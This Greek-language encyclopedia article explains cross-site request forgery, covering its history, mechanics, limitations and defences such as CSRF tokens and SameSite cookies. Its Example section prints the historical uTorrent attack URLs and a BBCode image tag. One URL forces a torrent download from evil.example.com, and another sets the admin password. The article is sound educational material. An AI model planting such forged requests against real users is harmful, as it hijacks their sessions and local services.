Πλαστογράφηση αιτήματος μεταξύ ιστοτόπων

Από τη Βικιπαίδεια, την ελεύθερη εγκυκλοπαίδεια
Μετάβαση στην πλοήγηση Πήδηση στην αναζήτηση

Η πλαστογράφηση αιτήματος μεταξύ ιστοτόπων (αγγλικά: Cross-site request forgery ή CSRF εν συντομία) είναι ένα είδος επίθεσης ενάντια σε διαδικτυακές εφαρμογές, όπου μη εξουσιοδοτημένα αιτήματα υποβάλλονται από έναν χρήστη τον οποίο η εφαρμογή αυτή εμπιστεύεται. Υπάρχουν πολλοί τρόποι μετάδοσης τέτοιων αιτημάτων. Συγκεκριμένα, με τεχνικές που περιλαμβάνουν ειδικά κατασκευασμένες ετικέτες εικόνων, κρυφές φόρμες και JavaScript XMLHttpRequests, τέτοιες επιθέσεις μπορούν να γίνουν χωρίς την αλληλεπίδραση ή / και τη γνώση του χρήστη.  Σε αντίθεση με μία επίθεση Cross-site scripting, η οποία εκμεταλλεύεται την εμπιστοσύνη ενός χρήστη σε έναν ιστότοπο, μία επίθεση CSRF εκμεταλλεύεται την εμπιστοσύνη του ιστότοπου στον φυλλομετρητή του χρήστη.

Αφού εξαπατήσει έναν χρήστη, ένας επιτιθέμενος μπορεί να μεταδώσει τέτοια αιτήματα προκαλώντας την εκτέλεση ενεργειών, όπως για παράδειγμα η διαρροή δεδομένων πελάτη ή εξυπηρετητή, την αλλαγή της κατάστασης της συνεδρίας του χρήστη κ.α.

Χαρακτηριστικά[Επεξεργασία | επεξεργασία κώδικα]

Σε μία CSRF επίθεση, ο σκοπός του επιτιθέμενου είναι να προκαλέσει την ακούσια υποβολή ενός αιτήματος σε έναν ευπαθή ιστότοπο από έναν αθώο χρήστη. Το αίτημα ιστού αυτό μπορεί να κατασκευαστεί ούτως ώστε να περιλαμβάνει παραμέτρους URL, cookies ή και άλλα δεδομένα, τα οποία φαίνονται απολύτως φυσιολογικά σε έναν εξυπηρετητή κατά την επεξεργασία του αιτήματος. Οι εφαρμογές ιστού που διατρέχουν κίνδυνο είναι εκείνες οι οποίες εκτελούν ορισμένες ενέργειες με βάση την είσοδο που παρέχουν έμπιστοι και ταυτοποιημένοι χρήστες, δίχως να απαιτούν την εξουσιοδότηση αυτής της συγκεκριμένης ενέργειας. Ένας χρήστης, ο οποίος έχει ταυτοποιηθεί μέσω ενός cookie που αποθηκεύεται στον φυλλομετρητή του, θα μπορούσε εν αγνοία του να υποβάλλει ένα HTTP αίτημα σε έναν ιστότοπο που τον εμπιστεύεται και επομένως, να προκαλέσει μη επιθυμητές ενέργειες.

Μία γενική ιδιότητα τον φυλλομετρητών είναι η αυτόματη και αόρατη συμπερίληψη τυχόντων cookie που χρησιμοποιούνται από έναν συγκεκριμένο τομέα κατά την αποστολή HTTP αιτημάτων σε αυτόν. Την ιδιότητα αυτή εκμεταλλεύονται οι CSRF επιθέσεις και έτσι, σε περίπτωση που ένας χρήστης υποβάλλει ακούσια ένα αίτημα μέσω φυλλομετρητή σε κάποιον τομέα, τότε αυτομάτως το πλαστό αυτό αίτημα μοιάζει αληθινό στον εξυπηρετητή χάρη στην συμπερίληψη των cookies που ευθύνονται για την ταυτοποίηση του χρήστη.

Στο πλαίσιο μιας CSRF επίθεσης, ο επιτιθέμενος θα πρέπει να αναγνωρίσει ένα αίτημα που μπορεί να αναπαράξει με κάποιο τρόπο, και το οποίο με τη σειρά του εκτελεί μία συγκεκριμένη ενέργεια (λ.χ. αλλαγή του κωδικού χρήστη). Μόλις αναγνωριστεί ένα τέτοιο αίτημα, τότε κατασκευάζει έναν υπερσύνδεσμο που προκαλεί την αποστολή του εν λόγω κακόβουλου αιτήματος.[1][2] Ο υπερσύνδεσμος αυτός μπορεί να ενσωματωθεί σε μία ιστοσελίδα που είναι υπό τον έλεγχο του επιτιθέμενου και δη, με έναν τρόπο που δεν απαιτεί από τον χρήστη να τον ενεργοποιήσει (κάνοντας «κλικ»). Για παράδειγμα, είναι εφικτό να ενσωματωθεί σε μία HTML ετικέτα εικόνας, η οποία με τη σειρά της συμπεριλαμβάνεται εντός ενός email και κατά το άνοιγμα αυτού, η κακόβουλη εικόνα φορτώνεται αυτόματα. Μόλις το θύμα ανοίξει τον υπερσύνδεσμο, ο φυλλομετρητής θα συμπεριλάβει αυτόματα όσα cookies αφορούν τον ιστότοπο-στόχο και θα υποβάλλει το αίτημα στον εξυπηρετητή. Ο τελευταίος δεν θα είναι σε θέση να αναγνωρίσει το πλαστό αίτημα, διότι αυτό υποβλήθηκε από έναν χρήστη που ήταν συνδεδεμένος και παρείχε όλα τα απαραίτητα cookies (εν αγνοία του).

Μία τέτοια επίθεση φέρει, συνήθως, τα ακόλουθα χαρακτηριστικά:

  • Περιλαμβάνει ιστότοπους που βασίζονται στην ταυτοποίηση ενός χρήστη.
  • Εκμεταλλεύεται την εμπιστοσύνη που δείχνει ένας ιστότοπος σε έναν ταυτοποιημένο χρήστη.
  • Εξεπατά τον φυλλομετρητή ενός χρήστη ούτως ώστε εκείνος να αποστείλει HTTP αιτήματα στον ιστότοπο-στόχο.
  • Περιλαμβάνει HTTP αιτήματα με παρενέργειες.

Ιστορία[Επεξεργασία | επεξεργασία κώδικα]

Οι ευπάθειες CSRF είναι γνωστές από το 2001. Επειδή εκτελείται από την διεύθυνση IP του χρήστη, ορισμένα αρχεία καταγραφής ιστότοπων είναι πιθανό να μην έχουν σχετικά στοιχεία καταγραφής. Μέχρι το 2007 [3] μάλιστα υπήρχαν ελάχιστα πλήρως τεκμηριωμένα παραδείγματα:

  • Το 2006, ο ιστότοπος του Netflix είχε αρκετές ευπάθειες CSRF, οι οποίες θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να εκτελέσει ενέργειες, όπως η προσθήκη ενός DVD στην ουρά ενοικίασης του θύματος, να τροποποιήσει τη διεύθυνση αποστολής ενός λογαριασμού ή και τα στοιχεία σύνδεσης αυτού, λαμβάνοντας πλήρη έλεγχο.[4]
  • Η διαδικτυακή τραπεζική εφαρμογή της ING Direct ήταν ευάλωτη σε CSRF επιθέσεις, επιτρέποντας την παράνομη μεταφορά χρημάτων.[5]
  • Το 2008, ο ιστότοπος του YouTube ήταν ευάλωτος σε CSRF επιθέσεις, επιτρέποντας στον επιτιθέμενο να πραγματοποιήσει σχεδόν κάθε ενέργεια ενός χρήστη.[5]

Νέες επιθέσεις ενάντια σε συσκευές που μπορούν να συνδεθούν στον Ιστό έλαβαν χώρα το 2018, περιλαμβάνοντας προσπάθειες αλλαγής των DNS ρυθμίσεων των δρομολογητών. Ορισμένοι κατασκευαστές δρομολογητών έσπευσαν να αναβαθμίσουν το υλικο και λογισμικό τους για να βελτιωθεί η προστασία και συμβούλευσαν τους χρήστες να αλλάξουν τις ρυθμίσεις των δρομολογητών. Μάλιστα, δεν δόθηκαν περαιτέρω εξηγήσεις, με τις αναβαθμίσεις να αποδίδονται σε «προφανείς λόγους ασφάλειας».[6]

Παράδειγμα[Επεξεργασία | επεξεργασία κώδικα]

Οι επιτιθέμενοι που μπορούν να ανακαλύψουν έναν αναπαραγώγιμο υπερσύνδεσμο ο οποίος εκτελεί μία συγκεκριμένη ενέργεια σε έναν ιστότοπο-στόχο ενώ ο χρήστης είναι συνδεδεμένος σε αυτόν, έχουν τη δυνατότητα να τον ενσωματώσουν σε μία ιστοσελίδα που βρίσκεται υπό τον έλεγχό τους και να εξαπατήσουν τον χρήστη να τον ενερργοποιήσει άθελά του.[1] Ο υπερσύνδεσμος που φέρει το φορτίο επίθεσης μπορεί να τοποθετηθεί σε ένα μέρος όπου το θύμα είναι πιθανό να επισκεφθεί ενόσω είναι συνδεδεμένο στον ιστότοπο-στόχο ή να σταλθεί μέσω email και είτε να περιέχεται στο HTML σώμα αυτού είτε να επισυνάπτεται. Μία πραγματική CSRF ευπάθεια στο uTorrent βασίστηκε στο γεγονός ότι η κονσόλα του, προσβάσιμη στη διεύθυνση localhost:8080, επέτρεπε την εκτέλεση κρίσιμων ενεργειών μέσω απλών GET αιτημάτων:

Εξαναγκασμένη λήψη ενός .torrent αρχείου

http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Αλλαγή του κωδικού πρόσβασης του διαχειριστή

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

Οι επιθέσεις εξαπολύθηκαν μέσω κακόβουλων HTML ετικετών εικόνας αυτόματης δράσης, οι οποίες τοποθετήθηκαν τόσο σε τόπους δημόσιας συζήτησης (forums) όσο και σε ανεπιθύμητα μηνύματα ηλεκτρονικού ταχυδρομείου (spam emails), ώστε οι φυλλομετρητές να ενεργοποιούσαν τους υπερσυνδέσμους κατά την επίσκεψη στις σελίδες αυτές, δίχως να απαιτείται περαιτέρω αλληλεπίδραση του χρήστη. Οι χρήστες που χρησιμοποιούσαν ευάλωτες εκδόσεις του uTorrent ενόσω επισκέπτονταν τις εν λόγω σελίδες ήταν ευάλωτοι σε επιθέσεις.

Οι CSRF επιθέσεις που χρησιμοποιούν ετικέτες εικόνας εξαπολύονται σύνηθως μέσα από τόπους δημόσιας συζήτησης, όπου οι χρήστες έχουν την δυνατότητα να μεταφορτώσουν εικόνες, αλλά όχι JavaScript, κάνοντας χρήση, για παράδειγμα, BBCode:

[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

Κατά την ενεργοποίηση του υπερσυνδέσμου και την πρόσβαση στην τοπική εφαρμογή του uTorrent, ο φυλλομετρητής στέλνει αυτόματα τα υπάρχοντα cookies για τον εν λόγω τομέα. Αυτή η ιδιότητα των φυλλομετρητών επιτρέπει στις CSRF επιθέσεις να εκτελέσουν κακόβουλες ενέργειες όσο ο χρήστης είναι συνδεδεμένος στον ιστότοπο-στόχο (στο uTorrent εν προκειμένω) τη στιγμή της επίθεσης.

Στο συγκεκριμένο παράδειγμα, το γεγονός ότι η διεπαφή ιστού του uTorrent έκανε χρήση GET αιτημάτων για κρίσιμες λειτουργίες που τροποποιούν την κατάσταση του λογαριασμού (π.χ. αλλαγή κωδικού πρόσβασης, λήψης ενός torrent κτλ.) αποτέλεσαν γόνιμο έδαφος για την επίθεση.

Πλαστογράφηση αιτημάτων σύνδεσης[Επεξεργασία | επεξεργασία κώδικα]

Ένας επιτιθέμενος μπορεί να πλαστογραφήσει ένα αίτημα, όυτως ώστε να συνδέσει το θύμα στον ιστότοπο-στόχο με τα στοιχεία σύνδεσης του ίδιου του επιτιθέμενου. Αυτό είναι γνωστό ως CSRF σύνδεσης και μπορεί να οδηγήσει και σε άλλες πιο εξεζητημένες επιθέσεις. Για παράδειγμα, ο επιτιθέμενος μπορεί αργότερα να συνδεθεί στον λογαριασμό του (στον οποίο προηγουμένως είχε συνδεθεί ακούσια το θύμα) με τα στοιχεία σύνδεσης του και να δει ιδιωτικές πληροφορίες, όπως η δραστηριότητα του λογαριασμού. Εταιρείας όπως η Google[7] και η Yahoo[8] υπήρξαν ευάλωτες σε τέτοιου τύπου επιθέσεις.

Μέθοδοι HTTP αιτημάτων και CSRF[Επεξεργασία | επεξεργασία κώδικα]

Ανάλογα με τον τύπο μιας CSRF επίθεσης, οι μέθοδοι HTTP αιτημάτων ποικίλουν χάρη στον διαφορετικό τρόπο χειρισμού τους από τους φυλλομετρητές. Επομένως, τα μέτρα προστασίας έναντι σε μία επίθεση εξαρτώνται από τη μέθοδο του HTTP αιτήματος.

  • Μια CSRF επίθεση που βασίζεται στην HTTP GET μέθοδο μοιάζει με τα παραδείγματα που περιγράφηκαν παραπάνω (όπως ένας απλός υπερσύνδεσμος που περιλαμβάνει παραποιημένες παραμέτρους και φορτώνεται αυτόματα μέσω μίας HTML ετικέτας εικόνας). Ωστόσο, σύμφωνα με τα πρότυπα του HTTP, η μέθοδος GET οφείλει να χρησιμοποιείται ως μία ασφαλής μέθοδος που σημαίνει πως δεν θα πρέπει να τροποποιεί την τρέχουσας κατάσταση ενός χρήστη. Εφαρμογές που κάνουν χρήση της GET για τέτοιες λειτουργίες θα πρέπει να την αντικαταστήσουν με τη μέθοδο HTTP POST ή να κάνουν χρήση CSRF αντίμετρων.
  • Στην απλούστερη μορφή της POST όπου τα δεδομένα είναι κωδικοποιημένα ως μία συμβολοσειρά ερωτήματος (field1=value1&field2=value2), μία CSRF επίθεση υλοποιείται χρησιμοποιώντας μία απλή φόρμα HTML. Σε μια τέτοια περίπτωση θα πρέπει να ληφθούν σχετικά αντίμετρα.

Άλλες CSRF προσεγγίσεις[Επεξεργασία | επεξεργασία κώδικα]

Ενώ μια επίθεση CSRF περιγράφεται τυπικά ως στατικού τύπου, αξίζει να σημειωθεί πως δύναται να κατασκευαστεί δυναμικά ως μέρος μίας cross-site scripting επίθεσης, όπως συνέβη στην περίπτωση του σκουληκιού Sammy. Μπορεί επίσης να κατασκευαστεί επιτόπου βάσει πληροφοριών συνεδρίας που έχουν διαρρεύσει μέσω περιεχομένου εκτός ιστότοπου και στάλθηκαν σε έναν στόχο με την μορφή ενός κακόβουλου URL. Ακόμη, ψηφιακά διακριτικά CSRF θα μπορούσαν να σταλθούν στον πελάτη από έναν επιτιθέμενο χάρη σε επιθέσεις καθορισμού συνεδρίας, ή να βρεθούν μέσω μίας επίθεσης ωμής βίας μέσω μιας κακόβουλης ιστοσελίδας που γεννά χιλιάδες αποτυχημένα αιτήματα. Οι «δυναμικές CSRF» επιθέσεις περιγράφηκαν[9] το 2009 από τους Nathan Harniel και Shawn Moyer.[10]

Ένας άλλος τρόπος κατασκευής μίας δυναμικής CSRF επίθεσης παρουσιάστηκε το 2012 από τον Oren Ofer σε ένα από τα συνέδρια του οργανισμού OWASP (Open Web Application Security Project) με τίτλο «AJAX Hammer – Dynamic CSRF».[11]

Περιορισμοί[Επεξεργασία | επεξεργασία κώδικα]

Υπάρχει μια σειρά από σημαντικά προαπαιτούμενα για να πετύχει μια CSRF επίθεση:

  1. Ο επιτιθέμενος πρέπει να εντοπίσει ένα αίτημα που αποστέλλεται στον εξυπηρετητή ενός ευάλωτου ιστότοπου και εκτελεί μία λειτουργία, η οποία τροποποιεί την κατάσταση του λογαριασμού ενός χρήστη (π.χ. αποστέλλει ένα χρηματικό ποσό ή αλλάζει τον κωδικό πρόσβασης του λογαριασμού).
  2. Ο επιτιθέμενος πρέπει να πλαστογραφήσει επιτυχώς το παραπάνω αίτημα. Με άλλα λόγια, θα πρέπει να εντοπίσει τις απαιτούμενες παραμέτρους και τις κατάλληλες τιμές, ούτως ώστε η επίθεση να πραγματοποιηθεί επιτυχώς.
  3. Το θύμα θα πρέπει να είναι συνδεδεμένο στον ευάλωτο ιστότοπο-στόχο τη στιγμή που αποστέλλεται το πλαστό αίτημα από τον φυλλομετρητή του, ώστε να συμπεριληφθούν τα στοιχεία ταυτοποίησης του (π.χ. cookie).[5]

Οι CSRF επιθέσεις αποτελούν, ουσιαστικά, το αποτέλεσμα της αποστολής και επιτυχούς εκτέλεσης ενός αιτήματος από τον εξυπηρετητή. Εκ φύσεως, λοιπόν, είναι τυφλές επιθέσεις και ο επιτιθέμενος δεν έχει τη δυνατότητα να «διαβάσει» την απάντηση (response) του εξυπηρετητή στο αίτημα. Αυτός είναι και ο λόγος που το Same-origin Policy δεν αποτελεί μέτρο προστασίας έναντι σε αυτό το είδος επίθεσης.[5]

Αντίμετρα[Επεξεργασία | επεξεργασία κώδικα]

Οι περισσότεροι προστατευτικοί μηχανισμοί για CSRF επιθέσεις λειτουργούν ενσωματώνοντας επιπρόσθετα δεδομένα ταυτοποίησης στα αιτήματα, γεγονός το οποίο επιτρέπει στην εφαρμογή να αναγνωρίσει αιτήματα μη εξουσιοδοτημένης προέλευσης.

Πρότυπο ψηφιακού διακριτικού συγχρονιστή (Synchronizer Token Pattern)[Επεξεργασία | επεξεργασία κώδικα]

Το πρότυπο ψηφιακού διακριτικού συγχρονιστή (ή εν συντομία STP από την αγγλική ορολογία) είναι μία μέθοδος όπου ένα ψηφιακό διακριτικό (token), δηλαδή μία μυστική και μοναδική τιμή, ενσωματώνεται σε κάθε αίτημα που τροποποιεί την κατάσταση λογαριασμού του χρήστη και έπειτα, επαληθεύεται στην πλευρά του εξυπηρετητή. Το διακριτικό αυτό μπορεί να παραχθεί από οποιαδήποτε μέθοδο εγγυάται έλλειψη προβλεψιμότητας και μοναδικότητα (όπως π.χ. μία συνάρτηση κατακερματισμού). Συνεπώς, ο επιτιθέμενος δεν είναι σε θέση να προσθέσει ένα έγκυρο ψηφιακό διακριτικό σε ένα πλαστό αίτημα για να γίνει επιτυχής επαλήθευση της προέλευσης του αιτήματος.[1][12]

Παρακάτω, ακολουθεί ένα παράδειγμα εφαρμογής του προτύπου διακριτικού συγχρονιστή όπως αυτό ορίζεται από το Django σε μία HTML φόρμα:

<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

Η μέθοδος αυτή, ωστόσο, επιφέρει ένα επιπλέον υπολογιστικό κόστος στην πλευρά του εξυπηρετητή, το οποίο οφείλεται στην ανάγκη επαλήθευσης του διακριτικού για κάθε αίτημα που αποστέλλεται. Ακόμη, η χρήση της μεθόδου αυτής, επιβάλλει μία καθορισμένη σειρά εκτέλεσης των ενεργειών του χρήση, καθώς το ψηφιακό διακριτικό είναι μοναδικό και απρόβλεπτο. Το γεγονός αυτό όμως, δημιουργεί προβλήματα στην ευχρηστία της εφαρμογής. Συνεπώς, μπορεί να γίνει χρήση ενός ψηφιακού διακριτικού ανά συνεδρία και όχι ανά αίτημα.

Διακριτικό cookie-to-header[Επεξεργασία | επεξεργασία κώδικα]

Οι εφαρμογές ιστού που χρησιμοποιούν JavaScript για την πλειοψηφία των εργασιών τους μπορεί να χρησιμοποιούν την παρακάτω τεχνική προστασίας από CSRF:

  • Κατά την αρχική επίσκεψη στον ιστότοπο και ενώ δεν υπάρχει μία συνεδρία με τον εξυπηρετητή, η εφαρμογή ορίζει ένα cookie το οποίο δεν θα πρέπει να συμπεριλαμβάνεται στο αίτημα όταν η προέλευση του είναι διαφορετική από εκείνη στην οποία αντιστοιχεί το cookie (δηλαδή πρόκειται για cross-origin request). Το cookie περιέχει ένα τυχαίο ψηφιακό διακριτικό, το οποίο μπορεί να παραμείνει σε ισχύ μέχρι το τέλος της συνεδρίας.
Set-Cookie: csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/; Domain=.wikipedia.org; SameSite=Lax; Secure
  • Κώδικας JavaScript που εκτελείται στην πλευρά του πελάτη διαβάζει την τιμή του ψηφιακού διακριτικού και την αντιγράφει σε μία ειδικά προσαρμοσμένη HTTP κεφαλίδα που αποστέλλεται με κάθε αίτημα.
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Ο εξυπηρετητής επικυρώνει την παρουσία και την ακεραιότητα του ψηφιακού διακριτικού.

Η ασφάλεια αυτής της τεχνικής βασίζεται στην υπόθεση ότι η τιμή του cookie θα μπορεί να διαβαστεί μονάχα από κώδικα JavaScript που εκτελείται στην πλευρά του πελάτη μίας κρυπτογραφημένης σύνδεσης (HTTPS) με τον εξυπηρετητή που αρχικά όρισε την τιμή αυτή. Κώδικας JavaScript που πηγάζει από ένα κακόβουλο αρχείο ή από ένα email δεν θα έχει την δυνατότητα να διαβάσει επιτυχώς την τιμή του cookie και να την αντιγράψει στην προσαρμοσμένη κεφαλίδα. Παρόλο που το συγκεκριμένο cookie που περιέχει το ψηφιακό διακριτικό θα συμπεριληφθεί κατά την αποστολή πλαστών αιτημάτων, ο εξυπηρετητής θα περιμένει και μία έγκυρη προσαρμοσμένη κεφαλίδα όπως η παραπάνω: X-Csrf-Token.

Το ψηφιακό διακριτικό θα πρέπει να είναι μοναδικό και απρόβλεπτο. Θα μπορούσε να δημιουργηθεί τυχαία, ή και να εξαχθεί από το ψηφιακό διακριτικό συνεδρίας με την χρήση του HMAC:

csrf_token = HMAC(session_token, application_secret)

Το cookie που περιέχει το ψηφιακό διακριτικό CSRF δεν θα πρέπει να έχει HttpOnly σήμανση, καθώς ο σχεδιασμός του ορίζει πως προορίζεται για ανάγνωση από κώδικα JavaScript.

Η συγκεκριμένη τεχνική υλοποιείται από πολλά σύγχρονα frameworks, όπως το Django[13] και το AngularJS[14]. Ακόμη, χάρη στο γεγονός ότι το ψηφιακό διακριτικό παραμένει εν ενεργεία καθ’όλη τη διάρκεια της συνεδρίας, η εν λόγω μέθοδος μπορεί να λειτουργήσει καλά σε εφαρμογές που κάνουν χρήση της τεχνολογίας AJAX. Τέλος, δεν απαιτείται ο αυστηρός καθορισμός μίας σειράς ενεργειών και γεγονότων στην εφαρμογή.

Η προστασία που παρέχεται από την εν λόγω τεχνική μπορεί να πάψει να υφίσταται σε περίπτωση που ο ιστότοπος-στόχος απενεργοποιήσει το same-origin policy, κάνοντας χρήση π.χ. ενός crossdomain.xml αρχείου, το οποίο παρέχει μη σκόπιμη πρόσβαση σε πελάτες ιστού, όπως το Adobe Flash Player ή το Adobe Acrobat.[15]

Cookie διπλής υποβολής[Επεξεργασία | επεξεργασία κώδικα]

Παρόμοια με την μέθοδο cookie-to-header, αλλά δίχως την βοήθεια κώδικα JavaScript, ένας ιστότοπος μπορεί να ορίσει ένα ψηφιακό διακριτικό CSRF ως ένα cookie, καθώς και να το εισάγει ως κρυφό πεδίο σε κάθε HTML φόρμα. Όταν η φόρμα υποβάλλεται, ο ιστότοπος μπορεί να ελέγξει ότι το ψηφιακό διακριτικό του cookie ταιριάζει με εκείνο της φόρμας. Το same-origin policy αποτρέπει έναν επιτιθέμενο από την ανάγνωση ή τον καθορισμό ενός cookie στον ιστότοπο-στόχο, ώστε να μην έχουν τη δυνατότητα να θέσουν ένα έγκυρο ψηφιακό διακριτικό στην φόρμα που περιέχει το φορτίο επίθεσης.[16]

Το πλεονέκτημα που φέρει αυτή η μέθοδος σε σύγκριση με την μέθοδο STP έγκειται στο γεγονός ότι το ψηφιακό διακριτικό δεν χρειάζεται να αποθηκευτεί στον εξυπηρετητή.

SameSite ιδιότητα cookie[Επεξεργασία | επεξεργασία κώδικα]

Η ιδιότητα “SameSite” μπορεί να προστεθεί όταν ο εξυπηρετητής ορίζει ένα cookie, υποδεικνύοντας στον φυλλομετρητή εάν θα συμπεριλάβει το cookie όταν τα αιτήματα είναι μεταξύ ιστότοπων (cross-site requests), δηλαδή διαφορετικής προέλευσης. Εάν η ιδιότητα λάβει την τιμή “strict”, τότε το cookie αποστέλλεται μόνο σε αιτήματα όμοιας προέλευσης (same-origin requests), καθιστώντας μία CSRF επίθεση αναποτελεσματική. Ωστόσο, αυτή η μέθοδος απαιτεί από τον φυλλομετρητή να αναγνωρίζει και να υλοποιεί ορθά την εν λόγω ιδιότητα, ενώ τέλος, απαιτείται το cookie να έχει σήμανση “Secure”.[17]

Προστασία στην πλευρά του πελάτη[Επεξεργασία | επεξεργασία κώδικα]

Επεκτάσεις φυλλομετρητή, όπως το RequestPolicy (για τον Mozilla Firefox) ή το uMatrix (τόσο για τον Firefox όσο και για τον Google Chrome / Chromium), είναι σε θέση να αποτρέψουν επιθέσεις CSRF, παρέχοντας μία προεπιλεγμένη πολιτική άρνησης για αιτήματα μεταξύ ιστότοπων. Ωστόσο, αυτή η πρακτική μπορεί να επέμβει σημαντικά στην εύρυθμη λειτουργία πολλών ιστότοπων.[18] Η επέκταση CsFire μπορεί να μετριάσει την αποτελεσματικότητα μίας CSRF επιθέσεων με την αφαίρεση πληροφοριών ταυτοποίησης σε αιτήματα μεταξύ ιστοτόπων, έχοντας παράλληλα μικρότερο αντίκτυπο στην πλοήγηση (browsing).[19]

Η επέκταση NoScript για τον Firefox μετριάζει τις CSRF επιθέσεις διακρίνοντας τους έμπιστους από τους μη έμπιστους ιστότοπους και αφαιρώντας την ταυτοποίηση και τα φορτία επίθεσης από POST αιτήματα που αποστέλλονται από μη έμπιστους ιστότοπους προς έμπιστους. Ακόμη, χάρη στο ABE (Application Boundaries Enforcer) επιτυγχάνεται ο αποκλεισμός αιτημάτων που αποστέλλονται από σελίδες που βρίσκονται στο διαδίκτυο προς τοπικές σελίδες (π.χ. localhost), αποτρέποντας CSRF επιθέσεις σε τοπικές υπηρεσίες (όπως το uTorrent) και δρομολογητές.[20]

Παραπομπές[Επεξεργασία | επεξεργασία κώδικα]

  1. 1,0 1,1 1,2 «Cross-Site Request Forgeries, by Chris Shiflett». shiflett.org. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  2. «What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy». portswigger.net. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  3. «CWE - Vulnerability Type Distributions in CVE». cwe.mitre.org. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  4. «Netflix fixes cross-site request forgery hole». SC Media (στα Αγγλικά). 18 Οκτωβρίου 2006. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  5. 5,0 5,1 5,2 5,3 Zeller, William & Felten, Edward. (2020). Cross-site request forgeries: Exploitation and prevention. Ανακτήθηκε από: https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf
  6. «Security Advisory: CSRF & DNS/DHCP/Web Attacks». www.draytek.co.uk. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  7. Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  8. Joseph Foulds, Passive monitoring login request forgery, Yahoo Αρχειοθετήθηκε 2014-12-22 στο Wayback Machine.
  9. «Security Fix - Weaponizing Web 2.0». 
  10. «Dynamic Cross-Site Request Forgery (CSRF)». www.neohaxor.org. 13 Φεβρουαρίου 2010. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  11. Ofer, Oren. (2012). AJAX Hammer - Harnessing AJAX for Dynamic CSRF. Ανακτήθηκε από: https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/hasc-research/AJAX%20Hammer%20-%20Harnessing%20AJAX%20for%20(Direct)%20Dynamic%20CSRF.pdf
  12. «Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series». OWASP. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  13. «Cross Site Request Forgery protection | Django documentation | Django». docs.djangoproject.com. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  14. «AngularJS». docs.angularjs.org. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  15. Adamski, Lucas. «Setting crossdomain.xml file for HTTP streaming | Adobe Developer Connection». www.adobe.com. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  16. «Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series». OWASP. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  17. «SameSite cookies». MDN Web Docs (στα Αγγλικά). Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  18. «Security Benefits - RequestPolicy by Justin Samuel». www.requestpolicy.com. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  19. «CsFire». distrinet.cs.kuleuven.be. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020. 
  20. «What's ABE?». noscript.net. Ανακτήθηκε στις 18 Σεπτεμβρίου 2020.